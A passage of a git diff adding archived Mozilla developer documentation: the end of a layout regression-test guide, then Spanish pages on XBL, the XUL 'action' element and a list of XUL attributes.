+  TableCol(table)(144) 0x30010004 0,0,2400,552, |null attr|-16777216|left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  0 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 11 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+Node 2:
+  TableCol(table)(144) 0x30010004 0,0,2424,552, |null attr|-16777216|left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  0 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 11 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+frame bbox mismatch: 2424,0,2352,552 vs. 2448,0,2376,552
+Node 1:
+  TableCol(table)(144) 0x30010004 2424,0,2352,552, |null attr|-16777216|left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  0 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 11 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+Node 2:
+  TableCol(table)(144) 0x30010004 2448,0,2376,552, |null attr|-16777216|left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  0 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 11 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+Comparison for file:///E:/moz_src/mozilla/layout/html/tests/table/core/baseline/standards1.rgd  failed.
+</pre>
+
+<p>The first regression test has failed and it is marked so.</p>
+
+<h3 id="Adding_new_regression_tests" name="Adding_new_regression_tests">Adding new regression tests</h3>
+
+<p>Once you have checked in the code:</p>
+
+<ul>
+ <li>please add your testcase for the bug to the regression tests.</li>
+ <li>A testcase should only contain local files.</li>
+ <li>Place the images in <code>table/images</code> <code>block/images</code> or (don't forget <code> cvs commit -kb</code>)</li>
+ <li>and the test file in the <code>table/bugs</code> or <code>block/bugs</code> directory.</li>
+ <li>Update the <code>rtest.lst</code> file in the corresponding directory in order to include your file.</li>
+</ul>
+
+<h3 id="Additional_Notes" name="Additional_Notes">Additional Notes</h3>
+
+<p>There is a special type of frame dumps - the printing regression tests, they are invoked by the <code>-Prt</code> command line argument to the <code>viewer</code> and include first a display then a frame dump taking into account the printer pages. Please contact if you need help with running those tests.</p>
+
+<p>I would like to thank Chris Karnaze for his guidance and fantasai for her language support.</p>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Bernd Mielke</li>
+ <li>Other Contributors: Boris Zbarsky</li>
+ <li>Last Updated Date: February 5, 2007</li>
+ <li>Copyright Information: Portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a Creative Commons license | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Details</a>.</li>
+</ul>
+</div>
diff --git a/files/es/archive/mozilla/xbl/index.html b/files/es/archive/mozilla/xbl/index.html
new file mode 100644
index 0000000000..0cc0e0d40a
--- /dev/null
+++ b/files/es/archive/mozilla/xbl/index.html
@@ -0,0 +1,27 @@
+---
+title: XBL
+slug: Archive/Mozilla/XBL
+tags:
+  - XBL
+translation_of: Archive/Mozilla/XBL
+---
+<p>
+</p><p><b>XML Binding Language</b> (<b>XBL</b>, algunas veces simplemete denominado Extensible Bindings Language) es un lenguaje para describir vinculaciones que pueden ser adjuntadas a elementos en otros documentos. El elemento al cual el vinculado es añadido, llamado <i>elemento vinculado</i>, adquiere el nuevo comportamiento especificado por el vínculo.
+</p><p>Las vinculaciones pueden contener eventos handlers que son registrados en el elemento vinculado, una implementación de nuevos métodos y propiedades que ahora son accesibles por el elemento vinculado, y contenido anónimo que es insertado a través del elemento vinculado.
+</p><p>Muchos widgets <a href="es/XUL">XUL</a> son, por lo menos, parcialmente implementados usando XBL. Puedes construir tus propios widgets reusables a partir de <a href="es/XUL">XUL</a>, <a href="es/HTML">HTML</a>, <a href="es/SVG">SVG</a> existentes, y otras primitivas usando XBL.
+</p>
+<h3 id="Especificaciones"> Especificaciones </h3>
+<p>XBL 1.0 está especificado en <a href="es/XBL/Referencia_XBL_1.0">Referencia XBL 1.0</a>. Desafortunadamente, la implementación actual en Mozilla es diferente de la especificación, y no hay documento conocido donde se describan las diferencias. Afortunadamente, la Referencia será actualizada para describir dichas diferencias.
+</p><p>XBL 1.0 es una tecnología específica de Mozilla, y no un estándard <a class="external" href="http://w3.org/">W3C</a> . Sin embargo, al menos dos estándares estan siendo implementados: sXBL y XBL 2.0.
+</p>
+<ul><li> El estándard W3C <a class="external" href="http://w3.org/TR/sXBL/">sXBL</a> (actualmente un borrador) para <i>SVG's XML Binding Language</i>. Se supone que incluirá un subconjunto de características de XBL 2.0 necesarias para <a href="es/SVG">SVG</a>. Similar al XBL de Mozilla, pero con unas ligeras (y no tan ligeras) diferencias. Por ejemplo, los nombres de los elementos son distintos. Además sXBL carece de algunas características de XBL, como son herencias vinculadas y definición de métodos/propiedades en elementos vinculados.
+</li><li> <a class="external" href="http://www.mozilla.org/projects/xbl/xbl2.html">XBL 2.0</a> está siendo desarrollado para solventar problemas encontrados en XBL 1.0 y permitir implementaciones en un mayor número de navegadores.
+</li></ul>
+<p>Algunas diferencias entre sXBL y XBL2 están expuestas en <a class="external" href="http://annevankesteren.nl/2005/11/xbl">un artículo de Anne van Kesteren</a>.
+</p>
+<h3 id="Véase_también"> Véase también </h3>
+<ul><li> <a href="es/Tutorial_de_XUL/Introducci%c3%b3n_al_XBL">Introducción al XBL</a> desde el <a href="es/Tutorial_de_XUL">Tutorial de XUL</a>.
+</li><li> <a class="external" href="http://mb.eschew.org/15.php">XBL chapter</a> de <a class="external" href="http://mb.eschew.org/">"Rapid Application Development with Mozilla"</a>
+</li></ul>
+<ul><li> <a>Mas recursos sobre XBL...</a>
+</li></ul>
diff --git a/files/es/archive/mozilla/xul/action/index.html b/files/es/archive/mozilla/xul/action/index.html
new file mode 100644
index 0000000000..f44a54305b
--- /dev/null
+++ b/files/es/archive/mozilla/xul/action/index.html
@@ -0,0 +1,87 @@
+---
+title: action
+slug: Archive/Mozilla/XUL/action
+tags:
+  - para_revisar
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/action
+---
+<p><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/es/docs/XUL/Elementos">Referencia de XUL</a>    [
+ <a href="#Examples">Ejemplos</a> |
+ <a href="#Attributes">Atributos</a> |
+ <a href="#Properties">Propiedades</a> |
+ <a href="#Methods">Methoden</a> |
+ <a href="#Related">Métodos</a> ]
+</span></p>
+<p>Utilizado para especificar el contenido que debe ser generado para cada resultado correspondiente de una consulta. La acción debe estar contenido dentro de un elemento <code><a href="/es/docs/Mozilla/Tech/XUL/query" title="query">query</a></code> o <code><a href="/es/docs/Mozilla/Tech/XUL/rule" title="rule">rule</a></code>.</p>
+<p>Un descendiente de la acción debe tener un atributo <code id="a-uri"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/uri">uri</a></code> seteado a la variable miembro. Este elemento y sus descendientes pueden utilizar variables en lugar de valores de atributos. Las variables son un signo de interrogación seguido por un nombre. Por regla general, cada variable será una referencia a los datos dentro de la fuente de datos, determina a partir de la consulta. Si la misma variable aparece varias veces, tendrá el mismo valor en cada lugar.</p>
+<p>Para más información, ver <a href="/en/XUL/Template_Guide/Actions" title="en/XUL/Template_Guide/Actions">Acciones</a>.</p>
+<h3 id="Examples" name="Examples">Ejemplos</h3>
+<pre class="eval">se necesitan ejemplos
+</pre>
+<h3 id="Attributes" name="Attributes">Atributos</h3>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Heredados desde el elemento XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<h3 id="Properties" name="Properties">Propiedades</h3>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Propiedades Heredadas</strong><br> <small> <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table><h3 id="Methods" name="Methods">Métodos</h3>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Métodos Heredados</strong><br> <small><code><a href="https://developer.mozilla.org/es/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.appendChild">appendChild()</a></code>, <span id="m-blur"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/click">click</a></code></span>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.cloneNode">cloneNode()</a></code>, <a class="internal" href="/es/DOM/Node.compareDocumentPosition" title="es/DOM/Node.compareDocumentPosition">compareDocumentPosition</a>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/focus">focus</a></code></span>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getBoundingClientRect">getBoundingClientRect()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getClientRects">getClientRects()</a></code>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/getElementsByAttribute">getElementsByAttribute</a></code></span>, <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getElementsByClassName">getElementsByClassName()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <a class="internal" href="/es/DOM/Node.getFeature" title="es/DOM/Node.getFeature">getFeature</a>, <a class="internal" href="/es/DOM/Node.getUserData" title="es/DOM/Node.getUserData">getUserData</a>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.isDefaultNamespace">isDefaultNamespace()</a></code>, <a class="internal" href="/es/DOM/Node.isEqualNode" title="es/DOM/Node.isEqualNode">isEqualNode</a>, <a class="internal" href="/es/DOM/Node.isSameNode" title="es/DOM/Node.isSameNode">isSameNode</a>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.isSupported">isSupported()</a></code>, <a class="internal" href="/es/DOM/Node.lookupNamespaceURI" title="es/DOM/Node.lookupNamespaceURI">lookupNamespaceURI</a>, <a class="internal" href="/es/DOM/Node.lookupPrefix" title="es/DOM/Node.lookupPrefix">lookupPrefix</a>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.querySelector">querySelector()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.querySelectorAll">querySelectorAll()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code>, <a class="internal" href="/es/DOM/Node.setUserData" title="es/DOM/Node.setUserData">setUserData</a></small></p> </td> </tr> </tbody>
+</table>
diff --git a/files/es/archive/mozilla/xul/attribute/index.html b/files/es/archive/mozilla/xul/attribute/index.html
new file mode 100644
index 0000000000..4914368c25
--- /dev/null
+++ b/files/es/archive/mozilla/xul/attribute/index.html
@@ -0,0 +1,304 @@
+---
+title: Atributos
+slug: Archive/Mozilla/XUL/Attribute
+translation_of: Archive/Mozilla/XUL/Attribute
+---
+<div><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/es/docs/XUL/Elementos">Referencia de XUL</a></span></div>
+
+<ul>
+ <li><a href="/es/XUL/Attribute/acceltext" title="es/XUL/Attribute/acceltext">acceltext</a></li>
+ <li><a href="/es/XUL/Attribute/accessible" title="es/XUL/Attribute/accessible">accessible</a></li>
+ <li><a href="/es/XUL/Attribute/accesskey" title="es/XUL/Attribute/accesskey">accesskey</a></li>
+ <li><a href="/es/XUL/Attribute/activetitlebarcolor" title="es/XUL/Attribute/activetitlebarcolor">activetitlebarcolor</a> </li>
+ <li><a href="/es/XUL/Attribute/afterselected" title="es/XUL/Attribute/afterselected">afterselected</a></li>
+ <li><a href="/es/XUL/Attribute/align" title="es/XUL/Attribute/align">align</a></li>
+ <li><a href="/es/XUL/Attribute/allowevents" title="es/XUL/Attribute/allowevents">allowevents</a></li>
+ <li><a href="/es/XUL/Attribute/allownegativeassertions" title="es/XUL/Attribute/allownegativeassertions">allownegativeassertions</a></li>
+ <li><a href="/es/XUL/Attribute/alternatingbackground" title="es/XUL/Attribute/alternatingbackground">alternatingbackground</a></li>
+ <li><a href="/es/XUL/Attribute/alwaysopenpopup" title="es/XUL/Attribute/alwaysopenpopup">alwaysopenpopup</a></li>
+ <li><a href="/es/XUL/Attribute/attribute" title="es/XUL/Attribute/attribute">attribute</a></li>
+ <li><a href="/es/XUL/Attribute/autoCheck" title="es/XUL/Attribute/autoCheck">autocheck</a></li>
+ <li><a href="/es/XUL/Attribute/autoCheck" title="es/XUL/Attribute/autoCheck">autoCheck</a></li>
+ <li><a href="/es/XUL/Attribute/autocompleteenabled" title="es/XUL/Attribute/autocompleteenabled">autocompleteenabled</a></li>
+ <li><a href="/es/XUL/Attribute/autocompletepopup" title="es/XUL/Attribute/autocompletepopup">autocompletepopup</a></li>
+ <li><a href="/es/XUL/Attribute/autocompletesearch" title="es/XUL/Attribute/autocompletesearch">autocompletesearch</a></li>
+ <li><a href="/es/XUL/Attribute/autocompletesearchparam" title="es/XUL/Attribute/autocompletesearchparam">autocompletesearchparam</a></li>
+ <li><a href="/es/XUL/Attribute/autoFill" title="es/XUL/Attribute/autoFill">autoFill</a></li>
+ <li><a href="/es/XUL/Attribute/autoFillAfterMatch" title="es/XUL/Attribute/autoFillAfterMatch">autoFillAfterMatch</a></li>
+ <li><a href="/es/XUL/Attribute/autoscroll" title="es/XUL/Attribute/autoscroll">autoscroll</a></li>
+ <li><a href="/es/XUL/Attribute/beforeselected" title="es/XUL/Attribute/beforeselected">beforeselected</a></li>
+ <li><a href="/es/XUL/Attribute/buttonaccesskeyaccept" title="es/XUL/Attribute/buttonaccesskeyaccept">buttonaccesskeyaccept</a></li>
+ <li><a href="/es/XUL/Attribute/buttonaccesskeycancel" title="es/XUL/Attribute/buttonaccesskeycancel">buttonaccesskeycancel</a></li>
+ <li><a href="/es/XUL/Attribute/buttonaccesskeydisclosure" title="es/XUL/Attribute/buttonaccesskeydisclosure">buttonaccesskeydisclosure</a></li>
+ <li><a href="/es/XUL/Attribute/buttonaccesskeyextra1" title="es/XUL/Attribute/buttonaccesskeyextra1">buttonaccesskeyextra1</a></li>
+ <li><a href="/es/XUL/Attribute/buttonaccesskeyextra2" title="es/XUL/Attribute/buttonaccesskeyextra2">buttonaccesskeyextra2</a></li>
+ <li><a href="/es/XUL/Attribute/buttonaccesskeyhelp" title="es/XUL/Attribute/buttonaccesskeyhelp">buttonaccesskeyhelp</a></li>
+ <li><a href="/es/XUL/Attribute/buttonalign" title="es/XUL/Attribute/buttonalign">buttonalign</a></li>
+ <li><a href="/es/XUL/Attribute/buttondir" title="es/XUL/Attribute/buttondir">buttondir</a></li>
+ <li><a href="/es/XUL/Attribute/buttondisabledaccept" title="es/XUL/Attribute/buttondisabledaccept">buttondisabledaccept</a></li>
+ <li><a href="/es/XUL/Attribute/buttonlabelaccept" title="es/XUL/Attribute/buttonlabelaccept">buttonlabelaccept</a></li>
+ <li><a href="/es/XUL/Attribute/buttonlabelcancel" title="es/XUL/Attribute/buttonlabelcancel">buttonlabelcancel</a></li>
+ <li><a href="/es/XUL/Attribute/buttonlabeldisclosure" title="es/XUL/Attribute/buttonlabeldisclosure">buttonlabeldisclosure</a></li>
+ <li><a href="/es/XUL/Attribute/buttonlabelextra1" title="es/XUL/Attribute/buttonlabelextra1">buttonlabelextra1</a></li>
+ <li><a href="/es/XUL/Attribute/buttonlabelextra2" title="es/XUL/Attribute/buttonlabelextra2">buttonlabelextra2</a></li>
+ <li><a href="/es/XUL/Attribute/buttonlabelhelp" title="es/XUL/Attribute/buttonlabelhelp">buttonlabelhelp</a></li>
